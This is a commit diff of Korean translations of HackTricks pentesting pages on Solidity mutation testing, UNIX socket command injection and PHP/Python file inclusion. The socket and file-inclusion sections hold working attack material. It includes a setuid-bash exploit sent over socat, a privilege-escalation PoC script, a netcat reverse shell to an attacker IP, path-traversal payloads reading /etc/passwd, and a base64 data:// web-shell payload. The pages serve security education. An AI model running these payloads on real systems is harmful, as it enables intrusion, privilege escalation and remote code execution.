Translated ['', 'src/pentesting-web/file-inclusion/README.md', 'src/linu

This commit is contained in:
Translator 2025-10-01 09:26:59 +00:00
parent d0c9d2d079
commit d80079a1c7
3 changed files with 247 additions and 209 deletions

View File

@ -1,14 +1,14 @@
# Mutation Testing for Solidity with Slither (slither-mutate)
{{#include ../../../banners/hacktricks-training.md}}
{{#include ../../banners/hacktricks-training.md}}
Mutation testing은 Solidity 코드에 작은 변경사항(mutants)을 체계적으로 주입하고 테스트 스위트를 다시 실행함으로써 "테스트를 테스트"합니다. 테스트가 실패하면 mutant는 죽고(killed), 테스트가 여전히 통과하면 mutant는 살아남아 라인/브랜치 커버리지가 감지하지 못하는 테스트 스위트의 맹점을 드러냅니다.
Mutation testing은 "tests your tests" 방식으로, Solidity 코드에 작은 변경사항(mutants)을 체계적으로 도입하고 test suite를 다시 실행합니다. 테스트가 실패하면 해당 mutant는 제거(killed)됩니다. 테스트가 여전히 통과하면 mutant는 생존하여 line/branch coverage로는 탐지할 수 없는 테스트 스위트의 맹점을 드러냅니다.
핵심 아이디어: 커버리지는 코드가 실행되었다는 사실만 보여주고, mutation testing은 동작이 실제로 단언(asserted)되는지를 보여줍니다.
핵심 아이디어: Coverage는 코드가 실행되었음을 보여주고; mutation testing은 실제로 동작이 검증되었는지를 보여줍니다.
## 커버리지가 오도할 수 있는 이유
## 왜 Coverage는 오도할 수 있는가
Consider this simple threshold check:
다음의 간단한 임계값 체크를 살펴보자:
```solidity
function verifyMinimumDeposit(uint256 deposit) public returns (bool) {
if (deposit >= 1 ether) {
@ -18,99 +18,99 @@ return false;
}
}
```
단위 테스트가 임계값 아래의 값과 위의 값만 검사하는 경우, 라인/브랜치 커버리지가 100%에 도달할 수 있지만 동등성 경계(==)를 확인하지 못할 수 있습니다. `deposit >= 2 ether`로 리팩터링해도 이러한 테스트는 여전히 통과하여 프로토콜 로직을 조용히 깨뜨릴 수 있습니다.
단위 테스트가 임계값 아래와 위의 값만 검사하면, equality boundary (==)에 대한 어설션 없이도 라인/분기 커버리지 100%에 도달할 수 있습니다. `deposit >= 2 ether`로 리팩터링하면 이런 테스트를 통과해 프로토콜 로직이 은밀히 깨질 수 있습니다.
Mutation testing은 조건을 변형시키고 테스트가 실패하는지 확인함으로써 이 간극을 드러냅니다.
뮤테이션 테스트는 조건을 변형(mutate)하고 테스트가 실패하는지 확인함으로써 이 간극을 드러냅니다.
## Common Solidity mutation operators
## 일반적인 Solidity mutation 연산자
Slithers mutation engine은 다음과 같은 여러 작은 의미 변경 수정을 적용합니다:
Slither의 mutation 엔진은 다음과 같은 작은 의미 변경 편집을 적용합니다:
- 연산자 교체: `+``-`, `*``/`, 등
- 할당 연산자 교체: `+=``=`, `-=``=`
- 할당 교체: `+=``=`, `-=``=`
- 상수 교체: 0이 아닌 값 → `0`, `true``false`
- `if`/루프 내부 조건 부정/교체
- `if`/루프 내부 조건 부정/교체
- 전체 라인 주석 처리 (CR: Comment Replacement)
- 한 줄을 `revert()`로 교체
- 데이터 타입 교체: 예: `int128``int64`
- 데이터 타입 교체 예: `int128``int64`
목표: 생성된 뮤턴트의 100%를 kill 하거나, 살아남은 뮤턴트에 대해 명확한 근거로 정당화하세요.
목표: 생성된 뮤턴트 100%를 제거하거나, 생존한 뮤턴트에 대해 명확한 근거로 정당화하세요.
## Running mutation testing with slither-mutate
## slither-mutate로 뮤테이션 테스트 실행하기
요구사항: Slither v0.10.2+.
- 옵션과 mutators 목록:
- 옵션 및 mutators 나열:
```bash
slither-mutate --help
slither-mutate --list-mutators
```
- Foundry 예 (결과를 캡처하고 전체 로그를 보관):
- Foundry 예 (결과를 캡처하고 전체 로그를 보관):
```bash
slither-mutate ./src/contracts --test-cmd="forge test" &> >(tee mutation.results)
```
- Foundry를 사용하지 않는다면, `--test-cmd`를 테스트 실행 방법(예: `npx hardhat test`, `npm test`)으로 대체하세요.
- Foundry를 사용하지 않는 경우 `--test-cmd`를 테스트를 실행하는 방식(예: `npx hardhat test`, `npm test`)으로 바꿔주세요.
아티팩트와 보고서는 기본적으로 `./mutation_campaign`에 저장됩니다. 포착되지 않은(생존한) mutants는 검사 목적으로 그곳에 복사됩니다.
아티팩트와 리포트는 기본적으로 `./mutation_campaign`에 저장됩니다. 검출되지 않은(생존한) mutants는 검사 목적으로 그곳에 복사됩니다.
### 출력 이해하기
보고서 행은 다음과 같습니다:
리포트 행은 다음과 같습니다:
```text
INFO:Slither-Mutate:Mutating contract ContractName
INFO:Slither-Mutate:[CR] Line 123: 'original line' ==> '//original line' --> UNCAUGHT
```
- 대괄호 안의 태그는 뮤테이터 별칭입니다(예: `CR` = Comment Replacement).
- `UNCAUGHT`는 변형된 동작에서 테스트가 통과했음을 의미합니다 → 누락된 assertion.
- 대괄호 안의 태그는 뮤테이터 별칭입니다 (예: `CR` = Comment Replacement).
- `UNCAUGHT`는 변경된 동작 하에서 테스트가 통과했음을 의미합니다 → 누락된 assertion.
## Reducing runtime: prioritize impactful mutants
Mutation 캠페인은 수시간에서 수일까지 걸릴 수 있습니다. 비용을 줄이기 위한 팁:
- Scope: 우선 중요한 contracts/디렉터리만 대상으로 시작한 후 확장하세요.
- Prioritize mutators: 한 줄에서 우선순위가 높은 뮤턴트가 생존하면(예: 전체 줄이 주석 처리된 경우) 그 줄에 대해 우선순위가 낮은 변형은 건너뛸 수 있습니다.
- 테스트를 러너가 허용하면 병렬화하고; 의존성/빌드를 캐시하세요.
- Fail-fast: 변경이 명백히 assertion의 공백을 드러낼 때 조기에 중단하세요.
Mutation 캠페인은 몇 시간에서 며칠까지 걸릴 수 있습니다. 비용을 줄이기 위한 팁:
- Scope: 먼저 중요한 contracts/디렉터리만 대상으로 시작한 다음 확장하세요.
- Prioritize mutators: 한 줄에서 우선순위가 높은 mutant가 생존하면(예: 전체 줄이 주석 처리됨) 해당 줄에 대해 낮은 우선순위 변형은 건너뛸 수 있습니다.
- Parallelize tests if your runner allows it; cache dependencies/builds.
- Fail-fast: 변경이 명확히 assertion 간극을 보여줄 때 조기에 중단하세요.
## Triage workflow for surviving mutants
1) 변형된 줄과 동작을 검사하세요.
- 해당 변형된 줄을 적용하고 집중 테스트를 실행해 로컬에서 재현하세요.
1) 변경된 라인과 동작을 검사하세요.
- 변경된 라인을 적용하고 집중된 테스트를 실행해 로컬에서 재현하세요.
2) 반환값뿐 아니라 상태를 검증하도록 테스트를 강화하세요.
- 동등성/경계 검사를 추가하세요(예: 임계값 테스트 `==`).
- 사후 조건을 검증하세요: 잔액, 총 공급량, 권한 영향 및 발생한 이벤트 등.
2) 테스트를 강화해 반환값뿐 아니라 상태를 단언하세요.
- 동등성 경계 검사 추가(예: test threshold `==`).
- 사후 조건을 단언: 잔액, 총 공급량, 권한 효과, 발생한 이벤트 등.
3) 지나치게 관대한 mocks를 현실적인 동작으로 교체하세요.
- 모의 객체가 온체인에서 발생하는 전송, 실패 경로 및 이벤트 발생을 강제하도록 하세요.
- mocks가 온체인에서 발생하는 전송, 실패 경로, 이벤트 발생을 강제하는지 확인하세요.
4) 퍼즈(fuzz) 테스트를 위한 불변식(invariants)을 추가하세요.
- 예: 가치 보존, 음수 불가 잔액, 권한 불변식, 적용 가능한 경우 단조 증가하는 공급 등.
4) fuzz 테스트를 위한 불변식 추가.
- 예: 가치 보존, 음수가 아닌 잔액, 권한 불변식, 적용 가능한 경우 단조 증가하는 공급 등.
5) slither-mutate를 재실행하여 생존자들이 제거되거나 명확히 정당화될 때까지 반복하세요.
5) 생존한 뮤턴트가 제거되거나 명시적으로 정당화될 때까지 slither-mutate를 다시 실행하세요.
## Case study: revealing missing state assertions (Arkis protocol)
Arkis DeFi protocol에 대한 감사 중 진행된 mutation 캠페인은 다음과 같은 생존자를 드러냈습니다:
Arkis DeFi protocol 감사 중 실행한 mutation 캠페인에서 다음과 같은 생존자들이 나타났습니다:
```text
INFO:Slither-Mutate:[CR] Line 33: 'cmdsToExecute.last().value = _cmd.value' ==> '//cmdsToExecute.last().value = _cmd.value' --> UNCAUGHT
```
주석 처리로 할당문이 제거되어도 테스트가 통과했는데, 이는 사후 상태 검증(post-state assertions)이 누락되었음을 증명한다. 근본 원인: 실제 토큰 전송을 검증하지 않고 사용자 제어 `_cmd.value`를 신뢰했다. 공격자는 기대되는 전송과 실제 전송을 비동기화하여 자금을 유출할 수 있다. 결과: 프로토콜의 지급능력(solency)에 대한 높은 심각도 위험.
주석 처리로 할당을 제거해도 테스트가 깨지지 않았으므로 post-state assertions가 누락되었음이 입증됨. 근본 원인: 실제 토큰 전송을 검증하지 않고 사용자 제어 `_cmd.value` 를 신뢰함. 공격자는 기대된 전송과 실제 전송을 비동기화시켜 자금을 유출할 수 있음. 결과: 프로토콜 지급능력(solency)에 대한 높은 심각도 위험.
지침: 가치 전송(value transfers), 회계(accounting), 또는 접근 제어에 영향을 미치는 살아남은 변이(survivors)는 제거(killed)될 때까지 고위험으로 취급하라.
Guidance: 값 전송, 회계(accounting) 또는 접근 제어에 영향을 주는 survivors는 삭제(kill)될 때까지 고위험으로 취급하라.
## 실무 체크리스트
- 대상 캠페인 실행:
- Run a targeted campaign:
- `slither-mutate ./src/contracts --test-cmd="forge test"`
- 생존한 변이를 분류(triage)하고, 변형된 동작에서 실패할 테스트/불변식(invariants)을 작성하라.
- 잔액, 공급량, 권한, 이벤트를 검증하라.
- Triage survivors and write tests/invariants that would fail under the mutated behavior.
- 잔액, 공급(supply), 권한(authorizations), 및 이벤트를 검증(assert)하라.
- 경계 테스트 추가 (`==`, overflows/underflows, zero-address, zero-amount, empty arrays).
- 비현실적인 mocks를 대체하고, 실패 모드를 시뮬레이션하라.
- 모든 mutants가 제거(killed)되거나 주석과 근거로 정당화될 때까지 반복하라.
- 비현실적인 mocks를 교체하고 실패 모드를 시뮬레이션하라.
- 모든 mutants가 kill되거나 주석과 근거로 정당화될 때까지 반복하라.
## 참고자료
## References
- [Use mutation testing to find the bugs your tests don't catch (Trail of Bits)](https://blog.trailofbits.com/2025/09/18/use-mutation-testing-to-find-the-bugs-your-tests-dont-catch/)
- [Arkis DeFi Prime Brokerage Security Review (Appendix C)](https://github.com/trailofbits/publications/blob/master/reviews/2024-12-arkis-defi-prime-brokerage-securityreview.pdf)
- [Slither (GitHub)](https://github.com/crytic/slither)
{{#include ../../../banners/hacktricks-training.md}}
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,8 +1,10 @@
# Socket Command Injection
{{#include ../../banners/hacktricks-training.md}}
## Python을 이용한 소켓 바인딩 예제
## Python으로 된 Socket 바인딩 예제
다음 예제에서는 **유닉스 소켓이 생성됩니다** (`/tmp/socket_test.s`) 그리고 **수신된** 모든 내용이 `os.system`에 의해 **실행됩니다**. 이 예제가 실제 환경에서 발견되지 않을 것이라는 것을 알고 있지만, 이 예제의 목표는 유닉스 소켓을 사용하는 코드가 어떻게 생겼는지, 그리고 최악의 경우 입력을 어떻게 관리하는지를 보는 것입니다.
다음 예제에서는 **unix socket이 생성**됩니다 (`/tmp/socket_test.s`) 그리고 **수신된** 모든 내용은 `os.system`에 의해 **실행**됩니다. 실제로 이런 코드를 현장에서 만나긴 어렵겠지만, 이 예제의 목적은 unix sockets를 사용하는 코드가 어떻게 생겼는지와 최악의 경우 입력을 어떻게 처리해야 하는지를 보여주는 것입니다.
```python:s.py
import socket
import os, os.path
@ -24,15 +26,50 @@ print(datagram)
os.system(datagram)
conn.close()
```
**코드를 실행**하려면 python을 사용하세요: `python s.py` 그리고 **소켓이 어떻게 수신 대기하는지 확인하세요**:
**실행** 코드를 python으로 실행하세요: `python s.py` 그리고 **소켓이 어떻게 리스닝되는지 확인하세요**:
```python
netstat -a -p --unix | grep "socket_test"
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
unix 2 [ ACC ] STREAM LISTENING 901181 132748/python /tmp/socket_test.s
```
**익스플로잇**
**Exploit**
```python
echo "cp /bin/bash /tmp/bash; chmod +s /tmp/bash; chmod +x /tmp/bash;" | socat - UNIX-CLIENT:/tmp/socket_test.s
```
## 사례 연구: Root-owned UNIX socket signal-triggered escalation (LG webOS)
일부 privileged daemon들은 untrusted input을 받는 root-owned UNIX socket을 노출하고, privileged actions을 thread-IDs와 signals에 결합합니다. 프로토콜이 unprivileged client가 어떤 native thread가 타겟이 될지 영향을 줄 수 있게 허용한다면, privileged code path를 트리거해 escalate할 수 있습니다.
관찰된 패턴:
- root-owned socket에 연결 (예: /tmp/remotelogger).
- 스레드를 생성하고 해당 native thread id (TID)를 얻는다.
- 요청으로 TID (packed)와 padding을 함께 전송; acknowledgement를 받는다.
- 해당 TID에 특정 signal을 전달하여 privileged behaviour를 트리거한다.
간단한 PoC 스케치:
```python
import socket, struct, os, threading, time
# Spawn a thread so we have a TID we can signal
th = threading.Thread(target=time.sleep, args=(600,)); th.start()
tid = th.native_id # Python >=3.8
s = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
s.connect("/tmp/remotelogger")
s.sendall(struct.pack('<L', tid) + b'A'*0x80)
s.recv(4) # sync
os.kill(tid, 4) # deliver SIGILL (example from the case)
```
이를 root shell로 만들려면, 간단한 named-pipe + nc 패턴을 사용할 수 있습니다:
```bash
rm -f /tmp/f; mkfifo /tmp/f
cat /tmp/f | /bin/sh -i 2>&1 | nc <ATTACKER-IP> 23231 > /tmp/f
```
노트:
- 이 유형의 버그는 권한 없는 클라이언트 상태(TIDs)에서 유래한 값을 신뢰하고 이를 권한 있는 시그널 핸들러나 로직에 바인딩함으로써 발생합니다.
- 소켓에 대한 자격 증명을 강제하고, 메시지 형식을 검증하며, 외부에서 제공된 스레드 식별자와 권한 있는 작업을 분리하여 시스템을 강화하세요.
## References
- [LG WebOS TV Path Traversal, Authentication Bypass and Full Device Takeover (SSD Disclosure)](https://ssd-disclosure.com/lg-webos-tv-path-traversal-authentication-bypass-and-full-device-takeover/)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -4,14 +4,14 @@
## File Inclusion
**Remote File Inclusion (RFI):** 파일이 원격 서버에서 로드됩니다 (장점: 코드를 작성하면 서버가 이를 실행합니다). In php this is **비활성화** by default (**allow_url_include**).\
**Remote File Inclusion (RFI):** 파일이 원격 서버에서 로드됩니다 (이점: 코드를 작성하면 서버가 이를 실행합니다). php에서는 기본적으로 **비활성화**되어 있습니다 (**allow_url_include**).\
**Local File Inclusion (LFI):** 서버가 로컬 파일을 로드합니다.
취약점은 사용자가 서버가 로드할 파일을 어떤 식으로든 제어할 수 있을 때 발생합니다.
취약점은 사용자가 서버가 로드할 파일을 어떤 식으로든 제어할 수 있을 때 발생합니다.
취약한 **PHP functions**: require, require_once, include, include_once
취약한 **PHP 함수**: require, require_once, include, include_once
이 취약점을 악용하기 위한 도구: [https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap)
이 취약점을 exploit하기 위한 흥미로운 도구: [https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap)
## Blind - Interesting - LFI2RCE files
```python
@ -19,39 +19,38 @@ wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../
```
### **Linux**
**여러 \*nix LFI 목록을 혼합하고 경로를 더 추가해서 만든 목록:**
**여러 \*nix LFI 리스트를 혼합하고 경로를 더 추가하여 만든 목록:**
{{#ref}}
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt
{{#endref}}
또한 `/``\`로 변경해보세요
또한 `/``\`로 바꿔보세요` \`\
또한 `../../../../../`를 추가해보세요
취약점 존재 여부를 확인하기 위해 /etc/password 파일을 찾는 여러 기법을 사용한 목록은 [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt)
`/etc/password` 파일을 찾기 위해 여러 기법을 사용하는 목록(취약점 존재 여부를 확인하기 위해)은 [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt)에서 찾을 수 있습니다
### **Windows**
양한 wordlists의 병합:
wordlists의 병합:
{{#ref}}
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt
{{#endref}}
또한 `/``\`로 변경해보세요
또한 `/``\`로 바꿔보세요` \`\
또한 `C:/`를 제거하고 `../../../../../`를 추가해보세요
취약점 존재 여부를 확인하기 위해 /boot.ini 파일을 찾는 여러 기법을 사용한 목록은 [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt)
`/boot.ini` 파일을 찾기 위해 여러 기법을 사용하는 목록(취약점 존재 여부를 확인하기 위해)은 [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt)에서 찾을 수 있습니다
### **OS X**
linux의 LFI 목록을 확인하세요.
linux의 LFI 리스트를 확인하세요.
## 기본 LFI 및 우회
## Basic LFI and bypasses
모든 예제는 Local File Inclusion을 위한 것이지만 Remote File Inclusion에도 적용될 수 있습니다 (page=[http://myserver.com/phpshellcode.txt\\](<http://myserver.com/phpshellcode.txt)/>).
모든 예시는 Local File Inclusion에 대한 것이지만 Remote File Inclusion에도 적용될 수 있습니다 (page=[http://myserver.com/phpshellcode.txt\\](<http://myserver.com/phpshellcode.txt)/>).
```
http://example.com/index.php?page=../../../etc/passwd
```
@ -63,59 +62,59 @@ http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd
```
### **Null byte (%00)**
제공된 문자열 끝에 더 많은 문자를 추가하는 것을 우회 (우회 대상: $\_GET\['param']."php")
제공된 문자열의 끝에 더 많은 문자를 덧붙이는 것을 우회 (bypass of: $\_GET\['param']."php")
```
http://example.com/index.php?page=../../../etc/passwd%00
```
문제는 **PHP 5.4에서 해결되었습니다**
는 **PHP 5.4 이후로 해결되었습니다**
### **인코딩**
double URL encode 등 비표준 인코딩을 사용할 수 있습니다:
비표준 인코딩(예: double URL encode 등)을 사용할 수 있습니다:
```
http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
```
### 존재하는 폴더에서
### 존 폴더에서
어쩌면 back-end가 폴더 경로를 검사하고 있을 수 있습니다:
back-end가 folder path를 확인하고 있을 수도 있습니다:
```python
http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
```
### 서버에서 파일 시스템 디렉터리 탐색
서버의 파일 시스템은 특정 기술을 사용하여 파일뿐 아니라 디렉터리도 재귀적으로 탐색할 수 있습니다. 이 과정은 디렉터리 깊이를 판단하고 특정 폴더의 존재 여부를 확인하는 작업을 포함합니다. 아래는 이를 달성하기 위한 자세한 방법입니다:
서버의 파일 시스템은 특정 기법을 사용해 파일뿐 아니라 디렉터리도 재귀적으로 탐색할 수 있습니다. 이 과정은 디렉터리 깊이를 확인하고 특정 폴더의 존재를 탐지하는 것을 포함합니다. 다음은 이를 수행하는 자세한 방법입니다:
1. **디렉터리 깊이 판단:** 현재 디렉터리의 깊이는 `/etc/passwd` 파일을 성공적으로 가져오면 확인할 수 있습니다(서버가 Linux 기반인 경우 해당). 예시 URL은 다음과 같이 구성되어 깊이가 세임을 나타낼 수 있습니다:
1. **디렉터리 깊이 확인:** 서버가 Linux 기반인 경우 `/etc/passwd` 파일을 성공적으로 가져와 현재 디렉터리의 깊이를 확인합니다. 예시 URL은 다음과 같이 구성될 수 있으며, 깊이가 3임을 나타냅니다:
```bash
http://example.com/index.php?page=../../../etc/passwd # depth of 3
```
2. **폴더 탐색:** 의심되는 폴더 이름(예: `private`)을 URL에 추가한 다음 `/etc/passwd`다시 이동합니다. 추가된 디렉터리 레벨 때문에 depth를 하나 증가시켜야 합니다:
2. **폴더 탐색:** 의심되는 폴더 이름(예: `private`)을 URL에 추가한 다음 `/etc/passwd`돌아갑니다. 추가된 디렉토리 레벨 때문에 depth를 하나 증가시켜야 합니다:
```bash
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
```
3. **Interpret the Outcomes:** 서버의 응답은 해당 폴더의 존재 여부를 나타냅니다:
- **Error / No Output:** 폴더 `private`는 지정된 위치에 존재하지 않을 가능성이 높습니다.
- **Contents of `/etc/passwd`:** `/etc/passwd`의 내용이 표시되면 `private` 폴더의 존재가 확인됩니다.
4. **Recursive Exploration:** 발견된 폴더는 동일한 기법이나 전통적인 Local File Inclusion (LFI) 방법으로 하위 디렉토리나 파일을 추가로 탐색할 수 있습니다.
3. **결과 해석:** 서버의 응답은 폴더 존재 여부를 나타냅니다:
- **오류 / 출력 없음:** 지정된 위치에 `private` 폴더가 존재하지 않을 가능성이 큽니다.
- **`/etc/passwd`의 내용:** `private` 폴더의 존재가 확인됩니다.
4. **재귀적 탐색:** 발견된 폴더는 동일한 기법이나 전통적인 Local File Inclusion (LFI) 방법을 사용해 하위 디렉토리나 파일을 추가로 조사할 수 있습니다.
파일 시스템의 다른 위치에 있는 디렉토리를 탐색하려면 payload를 적절히 조정하세요. 예를 들어, 현재 디렉토리가 깊이 3에 있다고 가정하고 `/var/www/``private` 디렉토리가 있는지 확인하려면 다음을 사용하세요:
파일 시스템의 다른 위치에 있는 디렉토리를 탐색하려면 페이로드를 그에 맞게 조정하세요. 예를 들어, 현재 디렉토리가 깊이 3에 있다고 가정하면 `/var/www/``private` 디렉토리가 있는지 확인하려면:
```bash
http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
```
### **Path Truncation Technique**
Path truncation은 웹 애플리케이션에서 파일 경로를 조작하기 위해 사용되는 기법입니다. 주로 파일 경로 끝에 추가 문자를 덧붙이는 보안 조치를 bypass하여 제한된 파일에 접근하는 데 사용됩니다. 목표는 보안 조치에 의해 변경된 이후에도 여전히 원하는 파일을 가리키는 파일 경로를 만드는 것입니다.
Path truncation은 웹 애플리케이션에서 파일 경로를 조작하기 위해 사용되는 기법이다. 주로 파일 경로 끝에 추가 문자를 덧붙이는 일부 보안 조치를 우회하여 접근이 제한된 파일에 접근할 때 사용된다. 목표는 보안 조치에 의해 변경된 후에도 여전히 원하는 파일을 가리키는 파일 경로를 만들어내는 것이다.
In PHP, 파일 시스템의 특성상 파일 경로의 다양한 표현이 동일하게 취급될 수 있습니다. 예를 들어:
In PHP, 파일 시스템의 특성상 파일 경로의 다양한 표현이 동일하게 취급될 수 있다. 예를 들어:
- `/etc/passwd`, `/etc//passwd`, `/etc/./passwd`, and `/etc/passwd/`는 모두 동일한 경로로 취급됩니다.
- When the last 6 characters are `passwd`, appending a `/` (making it `passwd/`) doesn't change the targeted file.
- Similarly, if `.php` is appended to a file path (like `shellcode.php`), adding a `/.` at the end will not alter the file being accessed.
- `/etc/passwd`, `/etc//passwd`, `/etc/./passwd`, and `/etc/passwd/` are all treated as the same path.
- 마지막 6글자가 `passwd`일 때, 끝에 `/`를 붙여 `passwd/`로 만들어도 대상 파일은 바뀌지 않는다.
- 마찬가지로 파일 경로에 `.php`가 붙어 있으면 (예: `shellcode.php`) 끝에 `/.`를 추가해도 접근되는 파일은 변경되지 않는다.
제공된 예시는 path truncation을 이용해 민감한 내용을 담고 있는 일반적인 대상인 `/etc/passwd`에 접근하는 방법을 보여줍니다 (사용자 계정 정보):
아래 예제들은 path truncation을 활용하여 민감한 내용(사용자 계정 정보) 때문에 흔히 목표가 되는 `/etc/passwd`에 접근하는 방법을 보여준다:
```
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
@ -125,13 +124,13 @@ http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd
```
이러한 시나리오에서는 필요한 traversals 수가 대략 2027개 정도일 수 있지만, 이 수치는 서버 구성에 따라 달라질 수 있습니다.
이러한 시나리오에서는 필요한 트래버설 수가 약 2027개일 수 있지만, 이 수는 서버 구성에 따라 달라질 수 있습니다.
- **Using Dot Segments and Additional Characters**: Traversal sequences (`../`)와 추가 점 세그먼트 및 문자들을 조합하여 파일 시스템을 탐색할 수 있으며, 이로써 서버가 덧붙인 문자열을 사실상 무시할 수 있습니다.
- **Determining the Required Number of Traversals**: 시행착오를 통해 루트 디렉터리까지, 그 다음 `/etc/passwd`로 이동하는 데 필요한 정확한 `../` 시퀀스 수를 찾아낼 수 있으며, 이 과정에서 `.php` 같은 덧붙여진 문자열은 무력화되지만 원하는 경로 (`/etc/passwd`)는 온전하게 유지됩니다.
- **Starting with a Fake Directory**: 경로를 존재하지 않는 디렉터리(예: `a/`)로 시작하는 것은 일반적인 관행입니다. 이 기술은 예방 조치로 사용되거나 서버의 경로 파싱 로직 요구사항을 만족시키기 위해 사용됩니다.
- **Using Dot Segments and Additional Characters**: Traversal sequences (`../`)와 추가적인 dot 세그먼트 및 문자를 결합하면 파일 시스템을 탐색할 수 있으며, 서버가 덧붙인 문자열을 사실상 무시할 수 있습니다.
- **Determining the Required Number of Traversals**: 시행착오를 통해 루트 디렉터리로 이동한 다음 `/etc/passwd`로 접근하는 데 필요한 정확한 `../` 반복 횟수를 찾을 수 있으며, 이 과정에서 `.php`와 같은 덧붙여진 문자열은 중화되지만 원하는 경로(`/etc/passwd`)는 유지되도록 할 수 있습니다.
- **Starting with a Fake Directory**: 경로를 존재하지 않는 디렉터리(예: `a/`)로 시작하는 것은 일반적인 관행입니다. 이 기법은 예방적 조치로 사용되거나 서버의 경로 파싱 로직 요구사항을 충족시키기 위해 사용됩니다.
path truncation techniques를 사용할 때는 서버의 경로 파싱 동작과 파일시스템 구조를 이해하는 것이 중요합니다. 각 시나리오마다 다른 접근법이 필요할 수 있으며, 가장 효과적인 방법을 찾기 위해 테스트가 자주 필요합니다.
path truncation 기법을 사용할 때는 서버의 경로 파싱 동작과 파일시스템 구조를 이해하는 것이 중요합니다. 각 시나리오는 서로 다른 접근법이 필요할 수 있으며, 가장 효과적인 방법을 찾기 위해서는 테스트가 자주 필요합니다.
**이 취약점은 PHP 5.3에서 수정되었습니다.**
@ -145,41 +144,41 @@ http://example.com/index.php?page=PhP://filter
```
## Remote File Inclusion
php에서는 기본적으로 비활성화되어 있습니다. 이는 **`allow_url_include`**가 **Off.**이기 때문입니다. 동작하려면 **On**이어야 하며, 그 경우 서버에서 PHP 파일을 include하여 RCE를 얻을 수 있습니다:
php에서는 기본적으로 비활성화되어 있습니다. **`allow_url_include`**가 **Off.**로 설정되어 있기 때문입니다. 동작하려면 이를 **On**으로 설정해야 하며, 그 경우 서버에 있는 PHP 파일을 포함하여 RCE를 얻을 수 있습니다:
```python
http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php
```
어떤 이유로 **`allow_url_include`**가 **On**인데, PHP가 외부 웹페이지에 대한 접근을 **필터링**하는 경우, [according to this post](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), 예를 들어 data protocol과 base64를 사용하여 b64 PHP 코드를 디코드하고 egt RCE를 얻을 수 있습니다:
만약 어떤 이유로 **`allow_url_include`**가 **On**인데 PHP가 외부 웹페이지 접근을 **filtering**한다면, [according to this post](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), 예를 들어 data 프로토콜과 base64를 사용해 b64 PHP 코드를 디코딩하여 RCE를 얻을 수 있습니다:
```
PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt
```
> [!TIP]
> 이전 코드에서 마지막 `+.txt`는 공격자가 `.txt`로 끝나는 문자열을 필요로 했기 때문에 추가된 것입니다. 문자열은 그로 끝나고 b64 디코드 후 그 부분은 단지 쓰레기를 반환하며 실제 PHP 코드는 포함되어 (따라서, 실행) 됩니다.
또 다른 예시 **`php://` 프로토콜을 사용하지 않는** 경우는 다음과 같습니다:
> 이전 코드에서 마지막 `+.txt`는 공격자가 `.txt`로 끝나는 문자열이 필요했기 때문에 추가된 것입니다. 따라서 문자열은 `.txt`로 끝나고 b64 decode 이후 그 부분은 단순한 무의미한 데이터가 되어 실제 PHP 코드만 포함되어(따라서 실행됩니다).
>
> 또 다른 예시 **`php://` 프로토콜을 사용하지 않는** 경우는 다음과 같습니다:
```
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt
```
## Python 루트 요소
다음과 같은 python 코드에서:
python에서 다음과 같은 코드의 경우:
```python
# file_name is controlled by a user
os.path.join(os.getcwd(), "public", file_name)
```
사용자가 **절대 경로**를 **`file_name`**에 전달하면, **이전 경로는 단순히 제거됩니다**:
사용자가 **`file_name`**에 **절대 경로**를 전달하면, **이전 경로는 단순히 제거됩니다**:
```python
os.path.join(os.getcwd(), "public", "/etc/passwd")
'/etc/passwd'
```
It is the intended behaviour according to [the docs](https://docs.python.org/3.10/library/os.path.html#os.path.join):
이것은 [the docs](https://docs.python.org/3.10/library/os.path.html#os.path.join)에 따른 의도된 동작입니다:
> 구성 요소가 절대 경로인 경우, 이전의 모든 구성 요소는 버려지고 결합은 절대 경로 구성 요소에서 계속됩니다.
> 컴포넌트가 절대 경로인 경우, 이전의 모든 컴포넌트는 무시되며 결합은 절대 경로 컴포넌트부터 계속됩니다.
## Java 디렉토리 나열
## Java 디렉토리 목록
보아하니 Java에서 Path Traversal이 있고 파일 대신 디렉토리를 **요청하면**, 디렉토리의 **목록이 반환됩니다**. 다른 언어에서는 이런 일이 발생하지 않는 것 같습니다 (afaik).
